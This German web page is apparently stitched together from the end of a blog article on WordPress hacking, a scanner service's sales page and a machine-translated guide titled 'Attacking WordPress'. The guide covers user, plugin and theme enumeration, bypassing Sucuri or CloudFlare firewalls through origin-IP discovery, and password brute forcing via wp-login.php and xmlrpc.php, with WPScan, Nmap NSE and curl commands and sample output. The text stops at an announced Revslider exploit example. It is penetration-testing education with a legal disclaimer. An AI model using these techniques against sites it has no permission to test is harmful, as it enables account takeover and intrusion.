Die oben dargestellten Tools und Möglichkeiten stellen lediglich eine Mini-Auswahl dar. In der Praxis existieren unzählige Tools und Varianten, Webanwendungen und deren Host-Systeme zu hacken. Allein in den Datenbanken von Metasploit und exploit-db.com sind hunderte von Schwachstellen erfasst und beschrieben. Immer wieder Ziel sind Plugins, Themes und der WordPress-Kern selbst.
Hinweis
Auch von deaktivierten Plugins oder Themes geht eine Gefahr aus. Selbst wenn sie nicht aktiv verwendet werden, so sind sie im Normalfall dennoch erreichbar. Beispielsweise erlaubt das Plugin Asset-Manager (Version <= 2.0) einen Datei-Upload in ein temporäres Verzeichnis – anschließend kann darüber Schadcode ausgeführt werden. Für diesen Einbruch muss das Plugin nicht aktiv sein, sondern lediglich auf dem Webspace vorhanden.Lücke: WordPress Asset-Manager PHP File Upload Vulnerability.
6.1 Angriffe auf Systemebene
Allein für Phase 1 (Informationsbeschaffung) wird ein Angreifer viel Zeit aufwenden, um an Daten / Informationen zu gelangen, die ihm später nützlich sein können. Immerhin hängt davon indirekt der Erfolg für den späteren Einbruch ab. Bereits einfache Wege wie, Google-Hacking (Dorks), DNS-Informationen und soziale Netzwerke stellen wichtige Informationsquellen dar. Daraus lassen sich oftmals Informationen ableiten, die entscheidende Hinweise für einen erfolgreichen Angriff bieten. Womöglich bietet eine WordPress-Installation selbst keinen Angriffspunkt, was den Fokus auf das Host-System richtet. Als Beispiel:
MySQL-Datenbank
FTP / SSH Service
CPanel oder andere Tools für die web-basierte Administration
Für die Sicherheit von WordPress müssen alle Zahnräder ineinandergreifen – letztendlich hat ein Angreifer immer das Ziel das schwächste Zahnrad auszumachen.
7. Fazit
Der Artikel WordPress-Hacking soll einen Eindruck über den Ablauf eines Angriffs vermitteln – auch wenn die Phasen leicht vermischt sind. Angreifer verfolgen damit meist unterschiedliche Ziele. Oftmals dienen infizierte WordPress-Installationen als Ausgangspunkt für weitere Angriffe oder zum Versenden von Spam-Mails. Neben Vandalismus und Rachegelüste sind praktisch unzählige Absichten denkbar.
Wenn eure WordPress-Installation selbst schon gehackt wurde oder ihr die Sicherheit im Vorfeld verbessern wollt, dann empfehle ich nochmals folgende Anleitungen: »Hardnening WordPress« und meine Artikelserie »WordPress absichern«.
In meiner freiberuflichen Tätigkeit als Pentester / Sicherheitsforscher (Kuketz IT-Security) schlüpfe ich in die Rolle eines »Hackers« und suche Schwachstellen in IT-Systemen, Webanwendungen und Apps (Android, iOS). Des Weiteren bin ich Lehrbeauftragter für IT-Sicherheit an der dualen Hochschule Karlsruhe, schärfe durch Workshops und Schulungen das Sicherheits- und Datenschutzbewusstsein von Personen und bin unter anderem auch als Autor für die Computerzeitschrift c’t tätig.
Der Kuketz-Blog bzw. meine Person ist regelmäßig in den Medien (heise online, Spiegel Online, Süddeutsche Zeitung etc.) vertreten.
Perform an automated WordPress Security Scan, no installation required. WP is the worlds leading content management system making it a popular target.
WordPress-Sicherheitsscan
Online WordPress Security Scanner zum Testen von Schwachstellen einer WordPress-Installation. Zu den Prüfungen gehören Anwendungssicherheit, WordPress-Plugins, Hosting-Umgebung und Webserver.
Auf dieser WordPress-Sicherheitstestseite gibt es zwei Optionen. Die erste ist eine KOSTENLOSE passive Prüfung, die eine Handvoll Seiten von der Website herunterlädt und eine Analyse des rohen HTML-Codes durchführt. Die zweite Option ist ein gründlicher aktiver Scan, der versucht, Plugins, Themes und Benutzer mit benutzerdefinierten WordPress-Audit-Skripten aufzulisten, die das Nmap NSE-Framework verwenden.
Brauchen Sie einen Experten? Wir identifizieren und validieren Möglichkeiten zur Verbesserung Ihrer Sicherheit WordPress-Analyse und Sicherheitsscan
Führen Sie einen kostenlosen WordPress-Sicherheitsscan mit einem Low-Impact-Test durch .
Überprüfen Sie jede WordPress-basierte Website und erhalten Sie einen umfassenden Überblick über die Sicherheitslage der Website. Sobald Sie sehen, wie einfach es ist, eine Mitgliedschaft zu erwerben und WordPress + Server- Schwachstellen mit Nmap WordPress NSE-Skripten, Nikto, OpenVAS und mehr zu testen.
Artikel, die im KOSTENLOSEN Scan überprüft wurden Versuchen Sie, die Version von WordPress Core zu erkennen Finden Sie Plugins in der HTML-Antwort Identifizieren Sie das verwendete Thema Versuchen Sie, die ersten 2 WP-Benutzer aufzuzählen Listen Sie Seitenressourcen auf, einschließlich js und iframes Testen Sie, ob die Verzeichnisindizierung an Schlüsselpositionen aktiviert ist Überprüfen Sie die Reputation von Google Safe Browse Geben Sie die zu testende(n) WordPress-Site(s) ein *
Login für WordPress Enumeration & Vulnerability Scanners Aggressive Aufzählung von Plugins, Themen, Versionen und interessanten URLs.
VORTEILE DER MITGLIEDSCHAFT
Erkennen Sie WP-Plugin-Versionen, Themen und Benutzer mit Nmap NSE-Skripten
Identifizieren Sie die Angriffsfläche durch Plugin- und Themenaufzählung
Passiver Analysebericht für bis zu 1000 Websites mit einem Klick
Testen Sie WordPress mit OpenVAS und Nikto Scanners
Zugriff auf 27 Schwachstellen-Scanner und OSINT- Tools
Vertrauenswürdige Open-Source-Tools
Über die WordPress-Sicherheitsscans
Der grundlegende Sicherheitscheck überprüft eine WordPress-Installation auf häufige sicherheitsrelevante Fehlkonfigurationen. Beim Testen mit der Basisprüfungsoption werden normale Webanfragen verwendet. Das System lädt eine Handvoll Seiten von der Zielseite herunter und führt dann eine Analyse der resultierenden HTML-Quelle durch.
Die aggressivere Aufzählungsoption versucht, alle Plugins/Designs zu finden, die in der WordPress-Installation verwendet werden, und versucht, Benutzer der Website aufzuzählen. Diese Tests generieren HTTP 404-Fehler in den Webserverprotokollen der Zielseite. Seien Sie gewarnt Wenn Sie alle Plugins testen, werden mehr als 18000 Protokolleinträge generiert und möglicherweise Intrusion Prevention-Maßnahmen ausgelöst.
Indem Sie alle Plugins, Themen und Benutzer der Website identifizieren, beginnen Sie, die Angriffsfläche zu verstehen. Mit diesen Informationen können Sie gezielt weitere Tests mit den entdeckten Ressourcen durchführen.
Testen Sie bis zu 20 Websites gleichzeitig mit dem passiven WordPress-Analysetool
WordPress-Versionsprüfung
Website-Reputation von Google
Standard-Administratorkonto aktiviert
Verzeichnisindizierung auf Plugins
Websites, die von der Hauptseite extern verlinkt sind (Reputationsprüfungen)
Listen Sie WordPress-Plugins auf, die durch grundlegende HTML-Analyse erkannt wurden (versuchen Sie die aktive Aufzählungsoption für eine aggressivere Erkennung von Plugins).
Javascript verlinkt
iframes vorhanden
Hosting-Reputations- und Geolokalisierungsinformationen
Zusätzliche Vorteile (mit Mitgliedschaft)
Testen Sie bis zu 1000 Websites gleichzeitig mit dem passiven WordPress-Analysetool
Verwenden Sie Nmap NSE-Skripte für die WordPress-Prüfung
Plugins identifizieren in /wp-content/plugins/aus einer Datenbank von über 18000
Identifizieren Sie Themen in /wp-content/themes/aus einer Datenbank von über 2600
Fingerabdruck der Version der entdeckten Plugins und Designs, um bekannte Schwachstellen zu identifizieren
Zählen Sie bis zu 50 Benutzernamen auf
Benutzerdefinierter OpenVAS-WordPress-Scan zum Testen von WordPress- und Server-Schwachstellen.
Mit der Mitgliedschaft haben Sie vollen Zugriff auf alle Sicherheitstest-Tools, einschließlich Port-Scanner, Webserver-Tests und System-Schwachstellen-Scanner.
Die Analyse kompromittierter WordPress-Installationen zeigt, dass die Ausnutzung am häufigsten aufgrund einfacher Konfigurationsfehler oder durch Plugins und Themes erfolgt, auf die keine Sicherheitsfixes angewendet wurden.
Die von unserem WordPress-Sicherheitsscan durchgeführten Prüfungen weisen auf offensichtliche Sicherheitsmängel in der WordPress-Installation hin. Außerdem werden empfohlene sicherheitsbezogene Konfigurationsverbesserungen bereitgestellt, um die Sicherheit der Website vor zukünftigen Angriffen zu erhöhen.
Angreifen und Sichern von WordPress
Angreifen und Sichern von WordPress
Attacking WordPress | HackerTarget.com
Understand the techniques attackers use to break into WordPress sites. Use that knowledge to defend your site and stay secure.
Lernen Sie die Tipps und Techniken kennen, die verwendet werden anzugreifen und einzubrechen , um WordPress- basierte Websites . Wenn Sie sich mit diesen Hackertechniken auskennen, sind Sie besser darauf vorbereitet, Ihre Websites zu schützen .
Auch Penetrationstester oder Red Teams , die WordPress-Targets ausnutzen möchten, finden in diesem Leitfaden hilfreiche Hinweise.
WordPress ist die Anwendung hinter mehr als 30 % aller Websites . Seine Benutzerfreundlichkeit und Open-Source-Basis machen es zu einer so beliebten Lösung. Die Zahl der Installationen wächst weiter; Mittlerweile gibt es schätzungsweise 75 Millionen WordPress-Sites . Diese Popularität macht es zu einem Ziel für Bösewichte, die darauf abzielen, einen kompromittierten Webserver für böswillige Zwecke zu verwenden.
Durch die Bereitstellung von Details zu Angriffstechniken wollen wir das Bewusstsein für die Notwendigkeit einer guten Wartung und Sicherheitsüberwachung von WordPress schärfen.
Es gibt sehr gute Anleitungen zum Sichern einer WordPress-Installation . Dieser Artikel beabsichtigt nicht, diese zu wiederholen. Um mit dem Sichern einer WordPress-Installation zu beginnen, versuchen Sie es mit der hervorragenden Anleitung auf wordpress.org oder dieser umfassenden Anleitung auf der OWASP-Website .
Denken Sie daran, dass bei einem verwalteten WordPress-Hosting-Service einige dieser Angriffe (und Gegenmaßnahmen) in der Verantwortung des Hosting-Anbieters liegen. Wenn Sie selbst hosten, liegen Sicherheit und Wartung in Ihrer Verantwortung. Bereit zum Start? Schnappen wir uns unseren Hoodie und fangen an zu hacken. Die Verwendung dieser Angriffstechniken und -tools gegen
Systeme, die Sie nicht besitzen oder
zu deren Test Sie nicht berechtigt sind , ist
in den meisten Gerichtsbarkeiten illegal . Dieser Artikel dient Bildungszwecken und soll das Bewusstsein für die Notwendigkeit von Sicherheit schärfen.
WordPress aufzählen
Versetzen Sie sich in die Denkweise der Angreifer . Als Erstes möchten wir so viele technische Informationen über die Site-Konfiguration wie möglich entdecken. Dies wird uns helfen, wenn wir in die eigentliche Angriffs- oder Ausbeutungsphase übergehen.
durchgeführt werden, Die Aufzählung oder Aufklärung kann heimlich indem regelmäßige Webanfragen verwendet werden, um technische Informationen über die Site zu sammeln. durchgeführt werden, Oder es kann aggressiver indem Webpfade brutal erzwungen werden, um das Vorhandensein von Plugins und Themen zu erkennen. Zunächst möchten wir uns ein Bild davon machen, wie gut die Seite gepflegt ist. Festzustellen, ob auf der Website die neueste WordPress-Kernversion ausgeführt wird, ist ein guter Anfang.
Aufzählung der WordPress Core-Version
Drei einfache Methoden können verwendet werden, um die Kernversion von WordPress zu ermitteln.
Meta-Generator
Überprüfen Sie die HTML-Quelle der Seite auf a meta generator-Tag im HEAD-Abschnitt der HTML-Quelle.
Dieses Beispiel stammt aus der Quelle einer standardmäßigen WP-Installation der Version 3.5.2 und des Designs Twenty Teven. Aus dem Quell-HTML:
Wenn das Meta-Tag deaktiviert wurde, überprüfen Sie das Vorhandensein von /readme.htmlvom Stammverzeichnis der Installation. Frühere Versionen von WordPress hatten die Version ganz oben in der ReadMe-Datei, neuere Versionen von WordPress haben die Version aus der Datei entfernt.
Version in der HTML-Quelle der Website
In der HTML-Quelle wird die Version oft als Parameter an Links angehängt javascriptund cssRessourcen, die die Seite lädt.
Je nach Plug-in ist dies nicht immer der Fall, und bei Websites mit minimiertem js und css sind diese Informationslecks möglicherweise nicht vorhanden.
Sicherheitslücken im WordPress Core
Ein Angreifer findet eine Seite mit einer älteren WordPress-Core-Version, wodurch diese möglicherweise direkt über eine Sicherheitslücke im WordPress-Core ausgenutzt werden kann. Und es ist ein klarer Hinweis darauf, dass die Website nicht gut gepflegt wird.
Bei einer schlecht verwalteten Website wurden möglicherweise andere Komponenten (Plugins / Themen) nicht aktualisiert. Dadurch hat sich die Chance auf einen erfolgreichen Angriff erheblich erhöht .
WordPress Plugin (und Version) Aufzählung
Während der WordPress-Plugin-Aufzählung versuchen wir, so viele installierte Plugins wie möglich zu finden (auch solche, die deaktiviert sind). Die Kenntnis der installierten WordPress-Plugins kann es uns ermöglichen, die Version zu identifizieren und zu untersuchen, ob sie für bekannte Exploits anfällig ist.
Die passive Analyse kann verwendet werden, um Plugins durch regelmäßige HTTP-Anfragen an die WordPress-Site zu finden.
Die aktive Aufzählung ist aggressiver und beinhaltet normalerweise die Verwendung eines Skripts oder Tools, um Hunderte oder sogar Tausende von größtenteils ungültigen HTTP-Anforderungen auszuführen.
Durch das Durchlesen der HTML-Quelle der WordPress-Site können installierte Plugins durchgelesen werden javascript links, Kommentare und Ressourcen wie CSSdie in die Seite geladen werden. Dies sind die am einfachsten zu entdeckenden Plugins und erfordern kein aggressives Testen der Zielseite. Sogar die HTTP-Header können Informationen preisgeben, wie z X-Powered-By-Header, der das Vorhandensein des W3-Total-Cache-Plugins offenbart .
Einige Plugins hinterlassen keine Spuren in der HTML-Quelle. Um alle installierten Plugins zu finden, müssen Sie aggressiver vorgehen. Eine Reihe von Tools können bekannte Plugin-Listen aus dem Pfad brutal erzwingen /wp-content/plugins/ * plugin to test * /. Die Antwort des Webservers zeigt normalerweise gültige Verzeichnisse (häufig mit HTTP 403 ) im Gegensatz zu unbekannten Verzeichnissen auf dem Webserver mit seinem HTTP-Antwortcode.
Sobald Sie eine Liste der Plugins haben, die auf der Website vorhanden sind, können Ihr WordPress-Scanner oder manuelle Anfragen verwendet werden, um die Version des Plugins zu ermitteln.
Im readme.txtWir können die Version des Plugins sehen. Vergleichen Sie dies mit bekannten Exploits und wir können eine gute Vorstellung davon bekommen, ob die Website anfällig ist, ohne den Exploit tatsächlich auszulösen.
WordPress-Theme-Aufzählung
Wie bei Plugins können WordPress-Designs Schwachstellen enthalten, die die Website einer Kompromittierung aussetzen könnten. Designs sind Sammlungen von PHP-Code mit HTML- und CSS-Ressourcen. mit Komplexere Designs enthalten mehr Komponenten und führen größerer Wahrscheinlichkeit zu Sicherheitslücken.
Die Aufzählung des Themes erfolgt ähnlich wie die Erkennung der Plugins. Der Themenpfad ist oft im HTML der Seitenquelle sichtbar. Die CSS-Datei, die vom Design geladen wird, zeigt oft den Pfad an.
Mit dem Pfad haben wir den Namen des Themas, und wir können das laden readme.txtum das verwendete Thema und die Version zu bestätigen.
Eine wichtige Überlegung beim Testen auf anfällige WordPress-Designs (und Plugins) ist, dass ein Design, das installiert, aber nicht aktiv ist, möglicherweise noch Code enthält, auf den zugegriffen werden kann und der anfällig ist. Aus diesem Grund ist Brute-Force-Testing für Themenpfade ein wichtiger Schritt bei der Bewertung einer unbekannten WordPress-Installation.
WordPress-Benutzer aufzählen
Wenn wir gültige Benutzernamen sammeln können, können wir Angriffe zum Erraten von Passwörtern versuchen, um die Anmeldeinformationen der Website brutal zu erzwingen. Der Zugriff auf ein Administratorkonto auf einer WordPress-Installation bietet dem Angreifer eine vollständige Kompromittierung der Website, der Datenbank und sehr oft der Remote-Code-Ausführung auf dem Server durch die PHP-Code-Ausführung.
Diese Benutzeraufzählungstechniken wurden WordPress.org als Sicherheitslücken gemeldet, die Entwickler stufen den Benutzernamen jedoch nicht als sensibel ein und sind bereit, das Risiko über die erhöhte Benutzerfreundlichkeit einzugehen. Beispielsweise die Benachrichtigung der Benutzer, wenn der Benutzer falsch liegt oder das Passwort falsch ist.
Autorenarchiv
In einer Standardinstallation sollten Sie in der Lage sein, die Benutzer einer Website zu finden, indem Sie die Benutzer-IDs durchlaufen und an die URL der Website anhängen. Zum Beispiel /?author=1, das Hinzufügen von 2, dann 3 usw. zur URL zeigt die Anmelde-ID des Benutzers entweder über eine 301-Umleitung mit einem Standort-HTTP-Header
Brute Forcen des Benutzernamens ist über das Anmeldeformular möglich, da die Antwort für ein gültiges und ein ungültiges Konto unterschiedlich ist.
Dies kann manuell durchgeführt werden, um einen einzelnen Benutzer zu überprüfen, oder mithilfe eines automatisierten Tools wie Burp Intruder, um Tausende von möglichen Benutzernamen zu durchlaufen.
Benutzer, die im JSON-API-Endpunkt aufgeführt sind
Verwendung einer jsonendpoint ist es möglich, eine Liste der Benutzer auf der Website abzurufen. Dies wurde in Version 4.7.1 darauf beschränkt, nur einen Benutzer anzuzeigen, wenn dies konfiguriert wurde, davor wurden standardmäßig alle Benutzer angezeigt, die einen Beitrag veröffentlicht hatten.
Sehen Sie sich die WordPress-Sicherheitstest-Tools unten für die automatisierte Benutzeraufzählung an.
Verzeichnisindizierung
Die Verzeichnisindizierung ist eine Funktion des Webservers, mit der Sie den Inhalt eines Verzeichnisses im über das Internet zugänglichen Pfad anzeigen können.
Durch das Anzeigen des Inhalts eines Verzeichnisses kann ein Angreifer viele Informationen über die Installation sammeln, z. B. installierte Plugins und Designs, ohne die Pfade brutal erzwingen zu müssen.
Um nach einer Verzeichnisindizierung zu suchen, können Sie nach Ordnerpfaden suchen und sehen, ob Sie eine Antwort erhalten, die „Index Of“ und eine Liste von Ordnern/Dateien enthält. Häufig zu überprüfende Orte wären:
Wenn Sie durchsuchen können /wp-content/plugins/– die Aufzählung von Plugins und Versionen wird viel einfacher!
Server-Schwachstellentests
In dieser Phase gehen wir dazu über, Netzwerkdienste zu testen, anstatt die WordPress-Installation direkt zu testen. Port-Scanning ist die Standardtechnik zur Erkennung von Netzwerkdiensten, die auf dem Server ausgeführt werden.
Dienste, die auf einem WordPress-Host vorhanden sein könnten:
Remote-Zugriff auf MySQL-Server (Port 3306)
Anmeldeportal für die CPANEL-Administration (Port 2082 / 2083)
Webmin-Administration (Port 10000)
FTP-Dienst für den Zugriff auf das Dateisystem
SSH für die Fernsteuerung
Andere Webdienste mit Admin- oder anderen Seiten (Port 8080 / 8888 usw.)
Jeder der Dienste kann den Zugriff oder die Kontrolle des Servers entweder durch eine Sicherheitslücke oder ein kompromittiertes Passwort ermöglichen. Das Scannen von Ports kann mit dem hervorragenden Nmap Port Scanner oder einem alternativen Sicherheitstool durchgeführt werden.
Als Fortsetzung unserer Aufzählung von Netzwerkdiensten mit dem Port-Scanner könnten wir Schwachstellen-Scans für die entdeckten Dienste durchführen, um ausnutzbare Dienste oder andere interessante Elemente zu identifizieren.
OpenVAS Vulnerability Scanner
Der Greenbone Vulnerability Manager (GVM) (früher bekannt als OpenVAS) ist eine Option, dies ist ein Open-Source-Schwachstellenscanner, der lokal installiert werden kann, oder Enterprise-Appliances sind ebenfalls von Greenbone Networks erhältlich. Wir hosten auch den Open-Source- OpenVAS-Scanner zum Testen von über das Internet zugänglichen Zielen als Teil unserer Sicherheitstestplattform.
Nikto Vulnerability Scanner
Nikto ist ein weiterer Schwachstellen-Scanner, der sich auf die Entdeckung bekannter anfälliger Skripte, Konfigurationsfehler und anderer interessanter Webserver-Elemente konzentriert. Das Nikto-Tool gibt es schon seit vielen Jahren, aber es hat immer noch einen Platz in der Toolbox von Penetrationstestern.
Tools wie dieses werfen Zehntausende von Tests gegen das Ziel, um bekannte Schwachstellen und andere niedrig hängende Früchte zu entdecken. Es ist ein lauter Prozess, der die Protokolle des Zielsystems mit 404-Fehlern und anderen Fehlern füllt. Nicht empfohlen, wenn Sie einen Ziel-Ninja-Stil verfolgen (Pentest / rotes Team).
Umgehen Sie die Web-Firewall von Sucuri oder CloudFlare
Viele WordPress-Sites entscheiden sich für Dienste von Drittanbietern, um die Site vor Angriffen zu schützen, indem sie einen webbasierten Firewall-Proxy verwenden. Ein Dienst wie Sucuri oder CloudFlare befindet sich zwischen dem Browser der Benutzer und der WordPress-Site. Angriffe auf die Site können von der Firewall erkannt und blockiert werden.
Die Firewall leitet den Datenverkehr mithilfe von DNS weiter. Das DNS der Site ist auf Server gerichtet, die zu Sucuri oder CloudFlare gehören, sodass der Benutzer (oder Angreifer) den Hostnamen auflöst und eine Verbindung zur IP des Firewall-Systems herstellt.
Wenn wir die echte IP-Adresse des Servers ermitteln und einen Eintrag zu unserer Hosts-Datei hinzufügen, können wir die Firewall umgehen und direkt zu dem Webserver gehen, der die Site hostet. Dies ist von Bedeutung, wenn die Website nicht gut gewartet wird und sich auf den Schutz der Firewall verlässt. Beispielsweise kann ein anfälliges Plugin vorhanden sein, aber von der Firewall blockiert werden. Wir umgehen die Firewall, nutzen das anfällige Plugin und den Server aus.
Überprüfen von DNS-Einträgen
Die Verwendung von DNS-Einträgen ist die effektivste Methode, um die echte IP-Adresse zu identifizieren, um eine Website zu umgehen, die hinter Sucuri oder CloudFlare gehostet wird.
Historische DNS-Einträge zeigen möglicherweise die ursprüngliche IP-Adresse, bevor der Firewall-Dienst implementiert wurde.
Mail Records (MX), wenn E-Mails auf demselben Server wie die Website gehostet werden, zeigt dies den echten Host an
TXT SPF, Aufzeichnungen können auch IP-Adressen von Interesse enthüllen
Suche nach TLS/SSL-Zertifikaten
Historische TLS/SSL- Suchen können auch echte Hostnamen finden, die mit der tatsächlichen IP-Adresse der Website verknüpft sind, wenn sie übereinstimmen können.
Andere Aufklärungstechniken können Hostnamen und IP-Adressen von Interesse aufdecken.
Sobald Sie eine IP-Adresse haben, von der Sie vermuten, dass sie die IP-Adresse sein könnte, fügen Sie sie zu Ihrer hinzu /etc/hostsDatei mit dem Hostnamen der Site. Dadurch wird Ihr System gezwungen, DNS zu umgehen und direkt die IP-Adresse zu verwenden. Wenn die Website geladen wird, besteht eine gute Chance, dass dies die richtige IP-Adresse ist.
WPScan
WPScan ist ein beliebtes WordPress-Sicherheitstesttool, das viele dieser einfachen Aufzählungstechniken miteinander verbindet. Es ermöglicht Benutzern, eine WordPress-Installation schnell aufzuzählen, und verfügt über eine kommerzielle Lizenz, die die Verwendung zum Testen Ihrer eigenen WordPress-Sites und die nicht-kommerzielle Nutzung einschränkt.
Es versucht, abhängig von den ausgewählten Befehlszeilenoptionen, Benutzer, Plugins und Designs zu identifizieren, und zeigt auch Schwachstellen für jedes der entdeckten Plugins an.
Nmap wird mit NSE-Skripten geliefert, die die Funktionalität dieses beliebten Port-Scanners erweitern. Einige der Nmap NSE-Skripte sind besonders hilfreich, um WordPress-Benutzer, Plugins und Themes mit denselben Techniken aufzuzählen, die wir zuvor besprochen haben.
Das Beste an dieser Option ist, wenn Sie Nmap installiert haben, haben Sie diese Skripte bereits einsatzbereit.
Ein weiteres Tool zur Aufzählung von WordPress-Installationen ist CMSMap .
CMSMap testet WordPress sowie Joomla, Drupal und Moodle.
Wie bei jedem dieser Aufzählungstools ist es wichtig, es auf dem neuesten Stand zu halten. Wenn die Themen- und Plug-in-Listen nicht regelmäßig aktualisiert werden, denken Sie daran, dass die neuesten Komponenten möglicherweise nicht erkannt werden.
Angriff & Ausbeutung
Brute Force wp-login.php-Formular
Der häufigste Angriff auf den WordPress-Benutzer besteht darin, das Kennwort eines Kontos brutal zu erzwingen, um Zugriff auf das Back-End des WordPress-Systems zu erhalten. Andere Möglichkeiten, wie ein Passwort kompromittiert werden kann, sind das Schnüffeln des Passworts im Klartext über eine HTTP-Anmeldesitzung oder sogar das Abrufen der Anmeldeinformationen von einem Keylogger auf der Workstation des WordPress-Administrators.
Konten mit Zugriff auf Administratorebene sind aufgrund der Menge an Unfug, die ein Admin-Benutzer anstellen kann, am begehrtesten; hinzufügen PHP command shellsoder böswillig javascriptdirekt über die Admin-Oberfläche sind gängige Beispiele.
Mit den Benutzernamen, die wir beim Sammeln von Informationen gesammelt haben, können wir loslegen (oder es einfach versuchen admin). Schauen Sie sich das Anmeldeformular an /wp-login.php, beachten Sie, wie fehlgeschlagene Anmeldungen den Benutzernamen bestätigen, wenn ein falsches Passwort eingegeben wird. Diese Informationen sind für einen Angreifer hilfreich. Es macht die Dinge auch benutzerfreundlicher für den Endbenutzer, der seinen Benutzernamen und sein Passwort vergessen hat. Dieses „Feature“ wurde diskutiert, und es wurde beschlossen, diese Antwort im WordPress-Code beizubehalten.
3 Tools zum Knallen schwacher Passwörter
Brute-Forcing-Konten von Benutzern sind mit einer Reihe von Open-Source-Tools möglich. Darüber hinaus sind wurmähnliche Skripte verfügbar, die sich im WordPress-Ökosystem verbreitet haben. Diese suchen und verbreiten sich auf WordPress-Seiten mit schwachen Admin-Passwörtern.
WPScan
Das zuvor erwähnte WPScan-Tool kann neben der Aufzählung auch Brute-Force-Login-Angriffe durchführen.
Hier ist eine Beispielausgabe eines Tests, den ich mit WPScan gegen ein Low-End- VPS von Digital Ocean ($ 5 / Monat) durchgeführt habe, bei dem ich eine Standardinstallation von WordPress installiert hatte.
ruby wpscan.rb -u 192.241.xx.x68 --threads 20 --wordlist 500worst.txt --username testadmin
********* SNIP *****************
[+] Starten des Passwort-Brute-Forcers
Brute-Force-Force-Benutzer 'testadmin' mit 500 Passwörtern ... 100 % vollständig.
[+] Beendet am Do, 18. Juli 03:39:02 2013
[+] Verstrichene Zeit: 00:01:16
Überprüfen der Ausgabe
500 Passwörter, die für das Konto „testadmin“ getestet wurden (entdeckt während der Benutzeraufzählung). Diese 500 Passwörter wurden in 1 Minute und 16 Sekunden getestet! Während der Test lief, gab es keine Unterbrechung der Website. Ein Webserver-Administrator hätte keine Ahnung, dass der Angriff ohne ein Sicherheitsprotokoll-Überwachungssystem stattgefunden hat ( OSSEC macht das sehr gut).
Die oben verwendete Liste der 500 schlechtesten Passwörter stammt von Skull Security . Die Website verfügt über eine große Anzahl von Passwortlisten, einschließlich der bekannten rockyouListe (60 MB), die weit mehr als 500 Passwörter enthält!
Nmap NSE-Skript
Nmap, der Port-Scanner , kann viel mehr, als offene Ports zu finden. Neuere Versionen von Nmap werden mit NSE-Skripten geliefert. Infolgedessen kann es verwendet werden, um viele verschiedene Schwachstellen zu testen. Zum Beispiel das Aufzählen von Benutzern und Brute-Force-WordPress-Passwörter.
nmap -sV --script http-wordpress-enum --script-args limit=25 PORT STATE SERVICE GRUND
80/tcp öffnen http syn-ack
| http-wordpress-enum:
| Benutzername gefunden: admin
| Benutzername gefunden: testadmin
| Benutzername gefunden: fred
| Benutzername gefunden: alice
| Benutzername gefunden: bob
|_Suche bei ID #25 gestoppt. Erhöhen Sie bei Bedarf die Obergrenze mit 'http-wordpress-enum.limit'
Die obige Ausgabe zeigt einen Beispiellauf mit dem NSE-Skript http-wordpress-enum zum Aufzählen von WordPress-Benutzern.
PORT STATE SERVICE GRUND
80/tcp öffnen http syn-ack
| http-wordpress-brute:
| Konten
| testadmin:myS3curePass => Anmeldung korrekt
| Statistiken
|_ 113 Versuche in 19 Sekunden durchgeführt, durchschnittliche tps: 6
Für diejenigen, die mit Sicherheitstests für Webanwendungen vertraut sind, kann das Burp Suite Intruder-Tool auch zum Brute-Forcing von WordPress-Passwörtern verwendet werden. Ein WordPress-Anmeldeversuch ist nur eine HTTP-POST- Anfrage. schließlich
Konfigurieren Sie Burp Intruder so, dass es einen gültigen Benutzernamen (oder eine Liste von Benutzernamen) zusammen mit einer Liste möglicher Passwörter sendet und auf die erfolgreiche Anmeldung wartet.
Brute-Force-Anmeldung über xmlrpc.php
Das xmlrpc.phpFähigkeit ist ein API-Endpunkt. Dieser Endpunkt ermöglicht mobilen Apps und anderen programmierbaren Zugriffen auf Backend-Funktionen der WordPress-Site, z. B. das Veröffentlichen von Beiträgen. Es ist standardmäßig aktiviert. Je nach Berechtigungen und der Version der Ziel-WordPress-Installation sind mehrere Angriffe gegen den Endpunkt möglich.
Verwendung der xmlrpc.phpEndpunkt, um WordPress-Konten anzugreifen, können wir Sicherheits-Plugins umgehen, die das Anmeldeformular vor Missbrauch schützen. Dieser Angriff zum Erraten von Passwörtern kann auch schneller sein, was dazu führt, dass Sie mehr Passwörter versuchen können.
Beachten Sie die -d, In curl, dies sind die Daten, die als Teil der POST-Anforderung gesendet werden. Sie können für diese Anfrage auch Burp oder Ihre bevorzugte Skriptsprache verwenden.
curl -X POST -d "<methodCall><methodName>wp.getUsersBlogs</methodName><params>
<param><value>admin</value></param><param><value>pass</value></param></params></methodCall>" http://examplewp.com/xmlrpc.php
In der Antwort sehen wir eine ungültige Passwortantwort oder einen Erfolg. Es ist leicht zu erkennen und in Ihr Skript einzuarbeiten.
Denial of Service (DOS) über xmlrpc.php
Eine weitere Verwendung des xmlrpc.phpEndpunkt soll einen Denial-of-Service-Angriff durchführen. Wenn diese Funktion aktiviert ist, können wir eine kleine Anfrage an den Server senden und ihn dazu bringen, mit einer ganzen Seite Inhalt an ein Ziel unserer Wahl zu antworten. Die Idee ist, mehrere Anfragen von verschiedenen Systemen zu stellen und sie alle auf einen einzigen Host zu richten. Potenziell wird es aufgrund einer Netzwerküberlastung offline geschaltet.
Zuerst zählen wir die Fähigkeiten der auf xmlrpc.phpEndpunkt.
curl -X POST -d "<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>" http://examplewp.com/xmlrpc.php
Die Antwort ist eine Liste der verfügbaren Methoden.
Deaktivieren des Zugriffs auf xmlrpc.phpvon Ihrem Webserver oder mit .htaccesswird empfohlen, wenn Sie die API nicht verwenden. Es blockiert nicht nur alle Angriffe, sondern reduziert auch die Menge an Rauschen in Ihren Protokollen von den Bots, die versuchen, diese API-Endpunkte zu treffen.
Nutzen Sie das WordPress-Plugin
Plugins, Themes und WordPress Core enthalten alle eine große Menge PHP-Code von Entwicklern aus der ganzen Welt. Diese Entwickler haben unterschiedliche Fähigkeiten und Schwerpunkte, wenn es darum geht, sichere Software zu schreiben. Aus diesem Grund stehen einem Angreifer Tausende von ausnutzbaren Schwachstellen zur Verfügung. Das Aktualisieren von Plugins, dem WordPress-Kern und Themes muss für jeden WordPress-Administrator eine Routineaufgabe sein, um sicherzustellen, dass die bekannten Schwachstellen gepatcht werden .
Häufige Schwachstellen sind XSS, SQL-Injection, Dateiupload und Codeausführung. All dies kann verheerende Folgen für eine WordPress-Site haben. Durchsuchen Sie Metasploit und Exploit-db.com nach ausnutzbaren WordPress-Bugs.
Revslider Beispiel-Exploit
